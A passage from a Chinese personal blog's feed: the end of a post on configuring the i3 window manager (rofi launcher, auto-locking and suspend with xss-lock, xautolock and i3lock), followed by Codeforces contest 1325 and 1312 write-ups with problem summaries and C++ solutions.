&lt;h3&gt;2.3 rofi&lt;/h3&gt;
&lt;p&gt;i3 中默认使用 &lt;code&gt;dmenu&lt;/code&gt; 作为执行命令的方式&lt;/p&gt;
&lt;p&gt;但是这个东西相当简洁，甚至不支持快速切换窗口&lt;/p&gt;
&lt;p&gt;但是我们有替代品 &lt;code&gt;rofi&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ cat ~/.config/rofi/config.rasi
configuration {
    modi: &quot;window,drun,ssh,combi&quot;;
    theme: &quot;android_notification&quot;;
    font: &quot;Fira Code 10&quot;;
    combi-modi: &quot;window,drun,ssh&quot;;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后在 i3 的配置文件中写入&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bindsym $mod+d exec --no-startup-id &quot;rofi -show combi&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2.4 acpi 配置&lt;/h3&gt;
&lt;p&gt;i3 并不会给你自动配置好 ACPI 事件, 不过这个很好处理，用 &lt;code&gt;acpid&lt;/code&gt; 就可以了&lt;/p&gt;
&lt;h3&gt;2.5 自动锁屏/睡眠&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;xautolock&lt;/code&gt; 与 &lt;a href=&quot;https://wiki.archlinux.org/index.php/Display_Power_Management_Signaling_(%E7%AE%80%E4%BD%93%E4%B8%AD%E6%96%87)&quot;&gt;DPMS&lt;/a&gt; 可以轻松的完成这个任务&lt;/p&gt;
&lt;p&gt;i3lock 使用起来挺顺手的，我个人喜欢把背景图片加个毛玻璃效果当 i3lock 的壁纸，这个 gimp 里拿滤镜搞就行了&lt;/p&gt;
&lt;p&gt;在 i3 的配置文件中写写入&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;exec --no-startup-id xset s 60 120
exec --no-startup-id xss-lock -n ~/.config/i3/i3lock.sh -- i3lock -n -i ~/Pictures/Wallpaper/71849322_p0_glur.png
exec --no-startup-id ~/.config/i3/screensaver.sh
exec --no-startup-id xautolock -time 5 -locker &quot;systemctl suspend&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;$ cat ~/.config/i3/i3lock.sh
#!/bin/sh

xset dpms force off
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;~/.config/i3/screensaver.sh&lt;/code&gt; 是 &lt;code&gt;https://github.com/iye/lightsOn&lt;/code&gt;，用于避免在看视频的时候给 suspend 了&lt;/p&gt;
&lt;p&gt;这个可以做到 60s 不动黑屏，180s 后开启 i3lock，300s 后 suspend&lt;/p&gt;
&lt;h2&gt;3 结&lt;/h2&gt;
&lt;p&gt;本文的所有配置都可以在 &lt;a href=&quot;https://github.com/woshiluo/woshiluo-config&quot;&gt;&lt;code&gt;woshiluo/woshiluo-config&lt;/code&gt;&lt;/a&gt; 下找到&lt;/p&gt;
&lt;p&gt;本文仅仅是自己配置的小小记录，如果有任何问题，请大佬在评论区指出&lt;/p&gt;
&lt;p&gt;总的来说，i3 给我的感觉像极了 vim，配置文件坑半天，上手难度不小，不过上手了还是很爽的&lt;/p&gt;
&lt;p&gt;反正给我的感觉比 Gnome 爽不少&lt;/p&gt;
&lt;p&gt;虽然要自己配好多东西（（&lt;/p&gt;
&lt;h3&gt;3.1 致谢&lt;/h3&gt;
&lt;p&gt;我在配置的时候参考了下面这些文章/网页，在此表达谢意&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.reddit.com/r/i3wm/comments/4qofyr/controling_screen_brightness/&quot;&gt;https://www.reddit.com/r/i3wm/comments/4qofyr/controling_screen_brightness/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.reddit.com/r/archlinux/comments/3wmwxc/how_can_i_set_xautolock_not_trigger_lock_when/&quot;&gt;https://www.reddit.com/r/archlinux/comments/3wmwxc/how_can_i_set_xautolock_not_trigger_lock_when/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://forum.suse.org.cn/t/tiling-wm-i3wm/303/5&quot;&gt;https://forum.suse.org.cn/t/tiling-wm-i3wm/303/5&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;ArchWiki（这不参考就鬼了）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;顺带 Orz LK&lt;/p&gt;
</content:encoded><category>linux</category><author>woshiluo</author></item><item><title>Codeforces Contest #1325 解题报告 &amp; 题目大意</title><link>https://blog.woshiluo.com/posts/2020/03/codeforces-contest-1325-%E8%A7%A3%E9%A2%98%E6%8A%A5%E5%91%8A-%E9%A2%98%E7%9B%AE%E5%A4%A7%E6%84%8F/</link><guid isPermaLink="true">https://blog.woshiluo.com/posts/2020/03/codeforces-contest-1325-%E8%A7%A3%E9%A2%98%E6%8A%A5%E5%91%8A-%E9%A2%98%E7%9B%AE%E5%A4%A7%E6%84%8F/</guid><pubDate>Mon, 16 Mar 2020 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;A EhAb AnD gCd&lt;/h2&gt;
&lt;h3&gt;题目大意&lt;/h3&gt;
&lt;p&gt;给定一个整数 $x（2\leq x \leq 10^9)$&lt;/p&gt;
&lt;p&gt;求 $a,b$ 满足 $\gcd(a,b) + \operatorname{lcm}(a,b) = x$&lt;/p&gt;
&lt;p&gt;多组解输出任意一个&lt;/p&gt;
&lt;h3&gt;Code&lt;/h3&gt;
&lt;p&gt;这有啥说的，随便找个质因数让后输出 $p, x$ 就可以&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Woshiluo Luo&amp;lt;woshiluo@woshiluo.site&amp;gt;
// 2020/03/14 22:36:48

#include &amp;lt;cmath&amp;gt;
#include &amp;lt;cstdio&amp;gt;
#include &amp;lt;cstring&amp;gt;

#include &amp;lt;algorithm&amp;gt;

template&amp;lt;class T&amp;gt;
T Min( T _a, T _b ) { return _a &amp;lt; _b? _a: _b; }
template&amp;lt;class T&amp;gt;
T Max( T _a, T _b ) { return _a &amp;gt; _b? _a: _b; }
template&amp;lt;class T&amp;gt;
T chk_Min( T &amp;amp;_a, T _b ) { return _a = (_a &amp;lt; _b? _a: _b); }
template&amp;lt;class T&amp;gt;
T chk_Max( T &amp;amp;_a, T _b ) { return _a = (_a &amp;gt; _b? _a: _b); }

int t, x;

int main() {
    scanf( &quot;%d&quot;, &amp;amp;t );
    while( t -- ) {
        scanf( &quot;%d&quot;, &amp;amp;x );
        int sq = std::sqrt(x) + 1;
        for( int i = 1; i &amp;lt;= sq; i ++ ) {
            if( x % i == 0 ) {
                int tmp = ( x / i ) - 1;
                if( tmp == 0 )
                    continue;
                printf( &quot;%d %d\n&quot;, i, tmp * i );
                break;
            }
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;B CopyCopyCopyCopyCopy&lt;/h2&gt;
&lt;h3&gt;题目大意&lt;/h3&gt;
&lt;p&gt;给你一个长度为 $n$ 的数列 $a$, 现在你可以复制无数个 $a$ 接到原来的数列后面&lt;/p&gt;
&lt;p&gt;问这样接完后，最长严格上升子序列的长度&lt;/p&gt;
&lt;h3&gt;Code&lt;/h3&gt;
&lt;p&gt;因为可以接无限次，所以直接输出数字个数就可以了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Woshiluo Luo&amp;lt;woshiluo@woshiluo.site&amp;gt;
// 2020/03/14 22:42:47
#include &amp;lt;cstdio&amp;gt;
#include &amp;lt;cstring&amp;gt;

#include &amp;lt;algorithm&amp;gt;

template&amp;lt;class T&amp;gt;
T Min( T _a, T _b ) { return _a &amp;lt; _b? _a: _b; }
template&amp;lt;class T&amp;gt;
T Max( T _a, T _b ) { return _a &amp;gt; _b? _a: _b; }
template&amp;lt;class T&amp;gt;
T chk_Min( T &amp;amp;_a, T _b ) { return _a = (_a &amp;lt; _b? _a: _b); }
template&amp;lt;class T&amp;gt;
T chk_Max( T &amp;amp;_a, T _b ) { return _a = (_a &amp;gt; _b? _a: _b); }

const int N = 1e5 + 1e4;

int t;
int n;
int a[N];

int main() {
    scanf( &quot;%d&quot;, &amp;amp;t );
    while( t -- ) {
        scanf( &quot;%d&quot;, &amp;amp;n );
        for( int i = 1; i &amp;lt;= n; i ++ ) {
            scanf( &quot;%d&quot;, &amp;amp;a[i] );
        }
        std::sort( a + 1, a + n + 1 );
        int cnt = 0, la = 0;
        for( int i = 1; i &amp;lt;= n; i ++ ) {
            if( i == 1 || a[i] != la ) {
                la = a[i];
                cnt ++;
            }
        }
        printf( &quot;%d\n&quot;, cnt );
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;C Ehab and Path-etic MEXs&lt;/h2&gt;
&lt;h3&gt;题目大意&lt;/h3&gt;
&lt;p&gt;给一棵节点数为 $n$ 的树&lt;/p&gt;
&lt;p&gt;现在你要给每条边一个边权，要求：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;边权为一个整数 $v(0\leq v \leq n - 2)$&lt;/li&gt;
&lt;li&gt;每条边的边权不能和别的边的相同&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;现在定义 $MEX(u,v)$ 为 $u,v$ 之间的最短简单路径上没有出现的边权中的最小值&lt;/p&gt;
&lt;p&gt;请给出一种边权方案，最小化 $\max{MEX(u,v)}$&lt;/p&gt;
&lt;h3&gt;思路&lt;/h3&gt;
&lt;p&gt;考虑每条边会被算进去多少次，记为每条边的贡献&lt;/p&gt;
&lt;p&gt;贡献越大给越大的边就可以了&lt;/p&gt;
&lt;p&gt;实际上可以更加简化，因为无论如何一定有一个 $MEX \geq 2$&lt;/p&gt;
&lt;p&gt;所以我们尽可能避免 $0,1,2$ 出现在一条边上即可&lt;/p&gt;
&lt;p&gt;随便找一个度数 $\geq 2$ 的点，把这三个数字放上去即可&lt;/p&gt;
&lt;p&gt;如果没有这种点，那么怎么摆都会有一条 $MEX=n-1$ 的路径&lt;/p&gt;
&lt;h3&gt;Code&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// Woshiluo Luo&amp;lt;woshiluo@woshiluo.site&amp;gt;
// 2020/03/14 22:52:18
#include &amp;lt;cstdio&amp;gt;
#include &amp;lt;cstring&amp;gt;

#include &amp;lt;algorithm&amp;gt;

template&amp;lt;class T&amp;gt;
T Min( T _a, T _b ) { return _a &amp;lt; _b? _a: _b; }
template&amp;lt;class T&amp;gt;
T Max( T _a, T _b ) { return _a &amp;gt; _b? _a: _b; }
template&amp;lt;class T&amp;gt;
T chk_Min( T &amp;amp;_a, T _b ) { return _a = (_a &amp;lt; _b? _a: _b); }
template&amp;lt;class T&amp;gt;
T chk_Max( T &amp;amp;_a, T _b ) { return _a = (_a &amp;gt; _b? _a: _b); }

const int N = 1e5 + 1e4;

// Edge Start
struct edge {
    int to, next, val;
} e[ N &amp;lt;&amp;lt; 1 ];
int ehead[N], ecnt;
inline void add_edge( int now, int to, int val ) {
    ecnt ++;
    e[ecnt].to = to;
    e[ecnt].next = ehead[now];
    e[ecnt].val = val;
    ehead[now] = ecnt;
}
// Edge End

struct node { long long val; int id; } max[N];
bool cmp( node _a, node _b ) { return _a.val &amp;lt; _b.val; }

int n, x, y;
int son[N], val[N];

void dfs( int now, int la ) {
    son[now] = 1;
    for( int i = ehead[now]; i; i = e[i].next ) {
        if( e[i].to == la )
            continue;
        dfs( e[i].to, now );
        son[now] += son[ e[i].to ];
        max[ e[i].val ].val = ( 1LL * son[ e[i].to ] * ( n - son[ e[i].to ] ) );
    }
}

int main() {
#ifdef woshiluo
    freopen( &quot;c.in&quot;, &quot;r&quot;, stdin );
    freopen( &quot;c.out&quot;, &quot;w&quot;, stdout );
#endif
    scanf( &quot;%d&quot;, &amp;amp;n );
    for( int i = 1, u, v; i &amp;lt; n; i ++ ) {
        max[i].id = i;
        scanf( &quot;%d%d&quot;, &amp;amp;u, &amp;amp;v );
        add_edge( u, v, i );
        add_edge( v, u, i );
    }

    dfs( 1, 0 );

    std::sort( max + 1, max + n, cmp );

    for( int i = 1; i &amp;lt; n; i ++ ) {
        val[ max[i].id ] = i - 1;
    }

    for( int i = 1; i &amp;lt; n; i ++ ) {
        printf( &quot;%d\n&quot;, val[i] );
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;D Ehab the Xorcist&lt;/h2&gt;
&lt;p&gt;给定两个整数 $u,v$ 求最短的数列 $a$ 满足&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;$$ \sum a = v $$&lt;/li&gt;
&lt;li&gt;xor 和为 $u$&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;多解输出任意一个&lt;/p&gt;
&lt;p&gt;无解输出 $-1$&lt;/p&gt;
&lt;h3&gt;题目大意&lt;/h3&gt;
&lt;p&gt;这题感觉的 C 简单啊&lt;/p&gt;
&lt;p&gt;满足 $xor$ 容易，满足 $v$ 的话需要难度&lt;/p&gt;
&lt;p&gt;考虑最后 $xor$ 的结果受每个二进制位的和的奇偶性影响&lt;/p&gt;
&lt;p&gt;因此可以确定每一位的奇偶性&lt;/p&gt;
&lt;p&gt;然后随便搞一下满足 $v$ 就可以了&lt;/p&gt;
&lt;h3&gt;Code&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// Woshiluo Luo&amp;lt;woshiluo@woshiluo.site&amp;gt;
// 2020/03/14 23:39:20
#include &amp;lt;cstdio&amp;gt;
#include &amp;lt;cstdlib&amp;gt;
#include &amp;lt;cstring&amp;gt;

#include &amp;lt;vector&amp;gt;
#include &amp;lt;algorithm&amp;gt;

template&amp;lt;class T&amp;gt;
T Min( T _a, T _b ) { return _a &amp;lt; _b? _a: _b; }
template&amp;lt;class T&amp;gt;
T Max( T _a, T _b ) { return _a &amp;gt; _b? _a: _b; }
template&amp;lt;class T&amp;gt;
T chk_Min( T &amp;amp;_a, T _b ) { return _a = (_a &amp;lt; _b? _a: _b); }
template&amp;lt;class T&amp;gt;
T chk_Max( T &amp;amp;_a, T _b ) { return _a = (_a &amp;gt; _b? _a: _b); }

unsigned long long u, v;
int bit_u[110], bit_less[110], bit_cnt[110];
std::vector&amp;lt;unsigned long long&amp;gt; ans;

inline void noans() {
    printf( &quot;-1\n&quot; );
    exit(0);
}

void to_bit( unsigned long long a, int bit[] ) {
    int cnt = 0;
    while( a ) {
        bit[ ++ cnt ] = a &amp;amp; 1;
        a &amp;gt;&amp;gt;= 1;
    }
}

int main() {
    scanf( &quot;%llu%llu&quot;, &amp;amp;u, &amp;amp;v );
    if( v &amp;lt; u )
        noans();

    to_bit( v - u, bit_less );
    to_bit( u, bit_u );

    for( int i = 1; i &amp;lt;= 100; i ++ ) {
        bit_cnt[i] = bit_u[i];
    }
    int p = 64;
    int cnt = 0;
    while( p ) {
        bit_cnt[p] += ( cnt - ( cnt &amp;amp; 1 ) );
        cnt = cnt &amp;amp; 1;
        if( bit_less[p] )
            cnt ++;
        p --; cnt &amp;lt;&amp;lt;= 1;
    }

    if( cnt != 0 )
        noans();

    bool flag = true;
    while( flag ) {
        flag = false;
        unsigned long long out = 0;
        unsigned long long p = 1;
        for( int i = 1; i &amp;lt;= 64; i ++, p &amp;lt;&amp;lt;= 1 ) {
            if( bit_cnt[i] ) {
                out = out | p;
                bit_cnt[i] --;
                flag = true;
            }
        }
        if( flag )
            ans.push_back(out);
    }

    cnt = ans.size();
    printf( &quot;%d\n&quot;, cnt );
    for( int i = 0; i &amp;lt; cnt; i ++ ) {
        printf( &quot;%llu &quot;, ans[i] );
    }

}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;E Ehab&apos;s REAL Number Theory Problem&lt;/h2&gt;
&lt;h3&gt;题目大意&lt;/h3&gt;
&lt;p&gt;给你一个长度为 $n$ 的数列，保证数列中每个数字有不超过 $7$ 个因数&lt;/p&gt;
&lt;p&gt;请求出最短的子序列，使子序列成绩为完全平方数&lt;/p&gt;
&lt;h3&gt;思路&lt;/h3&gt;
&lt;p&gt;这题比 F 题难吧…&lt;/p&gt;
&lt;p&gt;首先由 &lt;code&gt;保证数列中每个数字有不超过 $7$ 个因数&lt;/code&gt; 得每个数不会有超过两个 $1$ 和其本身以外的质因数&lt;/p&gt;
&lt;p&gt;然后我们可以先把每个数里的完全平方数因子先除掉，因为这些不会对答案造成影响&lt;/p&gt;
&lt;p&gt;这样下来每个数的因子只有 1 和其本身以及两个质因数（前提是这个数不是质数）&lt;/p&gt;
&lt;p&gt;然后建图，如果这个数是质数，将其和 $1$ 连接，如过不是将其的两个质因数连接&lt;/p&gt;
&lt;p&gt;剩下就是求最小环&lt;/p&gt;
&lt;h3&gt;Code&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// Woshiluo Luo&amp;lt;woshiluo@woshiluo.site&amp;gt;
// 2020/03/15 22:08:53

#include &amp;lt;cmath&amp;gt;
#include &amp;lt;cstdio&amp;gt;
#include &amp;lt;cstring&amp;gt;

#include &amp;lt;queue&amp;gt;
#include &amp;lt;vector&amp;gt;
#include &amp;lt;algorithm&amp;gt;

template&amp;lt;class T&amp;gt;
T Min( T _a, T _b ) { return _a &amp;lt; _b? _a: _b; }
template&amp;lt;class T&amp;gt;
T Max( T _a, T _b ) { return _a &amp;gt; _b? _a: _b; }
template&amp;lt;class T&amp;gt;
T chk_Min( T &amp;amp;_a, T _b ) { return _a = (_a &amp;lt; _b? _a: _b); }
template&amp;lt;class T&amp;gt;
T chk_Max( T &amp;amp;_a, T _b ) { return _a = (_a &amp;gt; _b? _a: _b); }

const int N = 1e6 + 1e4;
const int M = 1100;
const int INF = 0x3f3f3f3f;

int n, ans = INF;
int dis[N], fa[N];
bool marked[N], pool[N];

// Edge Start
struct edge {
    int cur, to, next;
} e[ N &amp;lt;&amp;lt; 1 ];
int ehead[N], ecnt = 1;
inline void add_edge( int now, int to ) {
    ecnt ++;
    e[ecnt].cur = now;
    e[ecnt].to = to;
    e[ecnt].next = ehead[now];
    ehead[now] = ecnt;
}
// Edge End

int bfs( int st ) {
    memset( dis, INF, sizeof(dis) );
    memset( fa, 0, sizeof(fa) );
    std::queue&amp;lt;int&amp;gt; q;
    q.push(st); dis[st] = 0;
    while( !q.empty() ) {
        int cur = q.front(); q.pop();
        for( int i = ehead[cur]; i; i = e[i].next ) {
            if( e[i].to == fa[cur] )
                continue;

            if( dis[ e[i].to ] &amp;gt;= INF ) {
                fa[ e[i].to ] = cur;
                dis[ e[i].to ] = dis[cur] + 1;
                q.push( e[i].to );
            }
            else {
                return dis[cur] + dis[ e[i].to ] + 1;
            }
        }
    }
    return INF;
}

int main() {
    scanf( &quot;%d&quot;, &amp;amp;n );
    for( int i = 1, x; i &amp;lt;= n; i ++ ) {
        scanf( &quot;%d&quot;, &amp;amp;x );
        std::vector&amp;lt;int&amp;gt; a;
        int cnt = std::sqrt(x) + 1;
        while(cnt &amp;gt; 1) {
            int cnt_pow = cnt * cnt;
            while( x % cnt_pow == 0 )
                x /= cnt_pow;
            cnt --;
        }
        if( x == 1 )
            chk_Min( ans, 1 );
        if( pool[x] )
            chk_Min( ans, 2 );
        pool[x] = true;
        int tmp = std::sqrt(x);
        for( int j = 2; j &amp;lt;= tmp; j ++ ) {
            if( x % j == 0 ) {
                a.push_back(j);
                a.push_back( x / j );
                break;
            }
        }
        if( a.size() == 0 ) {
            add_edge( 1, x );
            add_edge( x, 1 );
        }
        else if( a.size() != 0 ) {
            add_edge( a[0], a[1] );
            add_edge( a[1], a[0] );
        }
    }

    if( ans != INF ) {
        printf( &quot;%d\n&quot;, ans );
        return 0;
    }

    for( int i = 1; i &amp;lt;= 1000; i ++ ) {
        if( ehead[i] )
            chk_Min( ans, bfs(i) );
    }

    if( ans &amp;gt;= INF )
        ans = -1;

    printf( &quot;%d\n&quot;, ans );
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;F Ehab&apos;s Last Theorem&lt;/h2&gt;
&lt;h3&gt;题目大意&lt;/h3&gt;
&lt;p&gt;给定一个 $n$ 个节点的图&lt;/p&gt;
&lt;p&gt;令 $glo=\lceil\sqrt{n}\rceil$&lt;/p&gt;
&lt;p&gt;你要么找到一个长度和 $glo$ 相等的环&lt;/p&gt;
&lt;p&gt;要么找到一个比 $glo$ 小的独立集&lt;/p&gt;
&lt;h3&gt;Code&lt;/h3&gt;
&lt;p&gt;先试图找环，找不到肯定有独立集&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Woshiluo Luo&amp;lt;woshiluo@woshiluo.site&amp;gt;
// 2020/03/15 15:49:32
#include &amp;lt;cstdio&amp;gt;
#include &amp;lt;cstring&amp;gt;

#include &amp;lt;stack&amp;gt;
#include &amp;lt;algorithm&amp;gt;

template&amp;lt;class T&amp;gt;
T Min( T _a, T _b ) { return _a &amp;lt; _b? _a: _b; }
template&amp;lt;class T&amp;gt;
T Max( T _a, T _b ) { return _a &amp;gt; _b? _a: _b; }
template&amp;lt;class T&amp;gt;
T chk_Min( T &amp;amp;_a, T _b ) { return _a = (_a &amp;lt; _b? _a: _b); }
template&amp;lt;class T&amp;gt;
T chk_Max( T &amp;amp;_a, T _b ) { return _a = (_a &amp;gt; _b? _a: _b); }

const int N = 1e5 + 1e4;
const int M = 2e5 + 1e4;

int n, m, need;

int dep[N];
bool vis[N];
std::stack&amp;lt;int&amp;gt; st;

// Edge Start
struct edge { int to, next; } e[ M &amp;lt;&amp;lt; 1 ];
int ehead[N], ecnt;
inline void add_edge( int now, int to ) {
    ecnt ++;
    e[ecnt].to = to;
    e[ecnt].next = ehead[now];
    ehead[now] = ecnt;
}
// Edge End

void dfs( int now ) {
    st.push(now);
    dep[now] = st.size();
    for( int i = ehead[now]; i; i = e[i].next ) {
        if( dep[ e[i].to ] == 0 )
            dfs( e[i].to );
        else if( dep[now] - dep[ e[i].to ] + 1 &amp;gt;= need ) {
            int size = dep[now] - dep[ e[i].to ] + 1;
            printf( &quot;%d\n%d\n&quot;, 2, size );
            for( int i = 1; i &amp;lt;= size; i ++ ) {
                printf( &quot;%d &quot;, st.top() );
                st.pop();
            }
            exit(0);
        }
    }
    if( !vis[now] ) {
        for( int i = ehead[now]; i; i = e[i].next ) {
            vis[ e[i].to ] = true;
        }
    }
    st.pop();
}

int main() {
#ifdef woshiluo
    freopen( &quot;f.in&quot;, &quot;r&quot;, stdin );
    freopen( &quot;f.out&quot;, &quot;w&quot;, stdout );
#endif
    scanf( &quot;%d%d&quot;, &amp;amp;n, &amp;amp;m );
    while( need * need &amp;lt; n )
        need ++;

    while( m -- ) {
        int u, v;
        scanf( &quot;%d%d&quot;, &amp;amp;u, &amp;amp;v );
        add_edge( u, v ); add_edge( v, u );
    }

    dfs(1);

    printf( &quot;%d\n&quot;, 1 );
    int cnt = 0;
    for( int i = 1; i &amp;lt;= n; i ++ ) {
        if( vis[i] == false ) {
            printf( &quot;%d &quot;, i );
            cnt ++;
        }
        if( cnt == need )
            break;
    }
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>algorithm</category><author>woshiluo</author></item><item><title>Codeforces Contest #1312 解题报告 &amp; 部分翻译</title><link>https://blog.woshiluo.com/posts/2020/03/codeforces-round-1312-%E8%A7%A3%E9%A2%98%E6%8A%A5%E5%91%8A-%E9%83%A8%E5%88%86%E7%BF%BB%E8%AF%91/</link><guid isPermaLink="true">https://blog.woshiluo.com/posts/2020/03/codeforces-round-1312-%E8%A7%A3%E9%A2%98%E6%8A%A5%E5%91%8A-%E9%83%A8%E5%88%86%E7%BF%BB%E8%AF%91/</guid><pubDate>Tue, 10 Mar 2020 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;比赛链接：&lt;a href=&quot;https://codeforces.com/contest/1312/standings&quot;&gt;Educational Codeforces Round 83 (Rated for Div. 2)&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;A Two Regular Polygons&lt;/h2&gt;
&lt;h3&gt;1 题目大意&lt;/h3&gt;
&lt;p&gt;给你两个正多边形，一个 $n$ 条边 $A$ ，一个 $m$ 条边 $B$&lt;/p&gt;
&lt;p&gt;问 $B$ 有没有可能被 $A$ 包含且所有顶点都与 $A$ 的某一个节点重合&lt;/p&gt;
&lt;p&gt;有输出 &lt;code&gt;YES&lt;/code&gt; ，否则输出 &lt;code&gt;NO&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;2 Code&lt;/h3&gt;
&lt;p&gt;判 $n \bmod m = 0$ 就可以了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;cstdio&amp;gt;

int T;
int n, m;

int main() {
    scanf( &quot;%d&quot;, &amp;amp;T );
    while( T -- ) {
        scanf( &quot;%d%d&quot;, &amp;amp;n, &amp;amp;m );
        printf( &quot;%s\n&quot;, ( n % m == 0 )? &quot;YES&quot;: &quot;NO&quot; );
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;B Bogosort&lt;/h2&gt;
&lt;h3&gt;1 题目大意&lt;/h3&gt;
&lt;p&gt;给你一个长度为 $n$ 的序列 $a$, 你可以将 $a$ 重新排序，使其满足 $j - a_j \neq i - a_i$&lt;/p&gt;
&lt;p&gt;输出任何一个即可&lt;/p&gt;
&lt;p&gt;保证有解&lt;/p&gt;
&lt;p&gt;$n \leq 100$&lt;/p&gt;
&lt;h3&gt;2 思路&lt;/h3&gt;
&lt;p&gt;$$
\begin{aligned}
j - a_j &amp;amp; \neq i - a_i \
j - i &amp;amp; \neq a_j - a_i
\end{aligned}
$$&lt;/p&gt;
&lt;p&gt;直接从大到小输出&lt;/p&gt;
&lt;h3&gt;3 Code&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// Woshiluo Luo&amp;lt;woshiluo@woshiluo.site&amp;gt;
// 2020/03/09 22:40:32
#include &amp;lt;cstdio&amp;gt;
#include &amp;lt;cstring&amp;gt;

#include &amp;lt;algorithm&amp;gt;

template&amp;lt;class T&amp;gt;
T Min( T _a, T _b ) { return _a &amp;lt; _b? _a: _b; }
template&amp;lt;class T&amp;gt;
T Max( T _a, T _b ) { return _a &amp;gt; _b? _a: _b; }
template&amp;lt;class T&amp;gt;
T chk_Min( T &amp;amp;_a, T _b ) { return _a = (_a &amp;lt; _b? _a: _b); }
template&amp;lt;class T&amp;gt;
T chk_Max( T &amp;amp;_a, T _b ) { return _a = (_a &amp;gt; _b? _a: _b); }

const int N = 110;

int T;
int n;
int a[N];

int main() {
    scanf( &quot;%d&quot;, &amp;amp;T );
    while( T -- ) {
        scanf( &quot;%d&quot;, &amp;amp;n );
        for( int i = 1; i &amp;lt;= n; i ++ ) {
            scanf( &quot;%d&quot;, &amp;amp;a[i] );
        }
        std::sort( a + 1, a + n + 1 );
        for( int i = n; i &amp;gt;= 1; i -- ) {
            printf( &quot;%d &quot;, a[i] );
        }
        printf( &quot;\n&quot; );
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;C Adding Powers&lt;/h2&gt;
&lt;h3&gt;1 题目大意&lt;/h3&gt;
&lt;p&gt;给你两个长度为 $n$ 的数列 $a,v$&lt;/p&gt;
&lt;p&gt;其中 $a$ 通过输入提供，$v$ 初始所有值为 $0$&lt;/p&gt;
&lt;p&gt;接下来，对于第 $i$ 次操作（从 $0$ 计数），你可以&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;选择任意一个 $v_i$ 增加 $k^i$&lt;/li&gt;
&lt;li&gt;什么都不做&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;问你是否通过多次操作后，使 $v$ 变成 $a$&lt;/p&gt;
&lt;p&gt;能输出 &lt;code&gt;YES&lt;/code&gt; ，否则输出 &lt;code&gt;NO&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;2 思路&lt;/h3&gt;
&lt;p&gt;首先对于每个数字 $a$, 考虑其是否可以变成多个 $k^i$ 的和（不能有重复的 $i$）&lt;/p&gt;
&lt;p&gt;能的话算出来，看看有没有和之前重复的，有就不可能&lt;/p&gt;
&lt;p&gt;不能的话直接没有可能&lt;/p&gt;
&lt;h3&gt;3 Code&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// Woshiluo Luo&amp;lt;woshiluo@woshiluo.site&amp;gt;
// 2020/03/09 22:58:45
#include &amp;lt;cstdio&amp;gt;
#include &amp;lt;cstring&amp;gt;

#include &amp;lt;algorithm&amp;gt;

template&amp;lt;class T&amp;gt;
T Min( T _a, T _b ) { return _a &amp;lt; _b? _a: _b; }
template&amp;lt;class T&amp;gt;
T Max( T _a, T _b ) { return _a &amp;gt; _b? _a: _b; }
template&amp;lt;class T&amp;gt;
T chk_Min( T &amp;amp;_a, T _b ) { return _a = (_a &amp;lt; _b? _a: _b); }
template&amp;lt;class T&amp;gt;
T chk_Max( T &amp;amp;_a, T _b ) { return _a = (_a &amp;gt; _b? _a: _b); }

const int N = 110;

int T;
int n;
long long k;
bool vis[N];
long long a[N];

inline void wrong() {
    printf( &quot;NO\n&quot; );
}

inline void right() {
    printf( &quot;YES\n&quot; );
}

void calc() {
    for( int i = 1; i &amp;lt;= n; i ++ ) {
        if( a[i] == 0 ) {
            continue;
        }
        long long cur = a[i];
        int cnt = 1;
        while( cur ) {
            int tmp = cur % k;
            if( tmp &amp;gt; 1 ) {
                wrong();
                return ;
            }
            if( tmp == 1 ) {
                if( vis[cnt] == false )
                    vis[cnt] = true;
                else {
                    wrong();
                    return ;
                }
            }
            cur /= k;
            cnt ++;
        }
    }
    right();
}

int main() {
    scanf( &quot;%d&quot;, &amp;amp;T );
    while( T -- ) {
        memset( vis, 0, sizeof(vis) );

        scanf( &quot;%d%lld&quot;, &amp;amp;n, &amp;amp;k );
        for( int i = 1; i &amp;lt;= n; i ++ ) {
            scanf( &quot;%lld&quot;, &amp;amp;a[i] );
        }

        calc();
    }
}
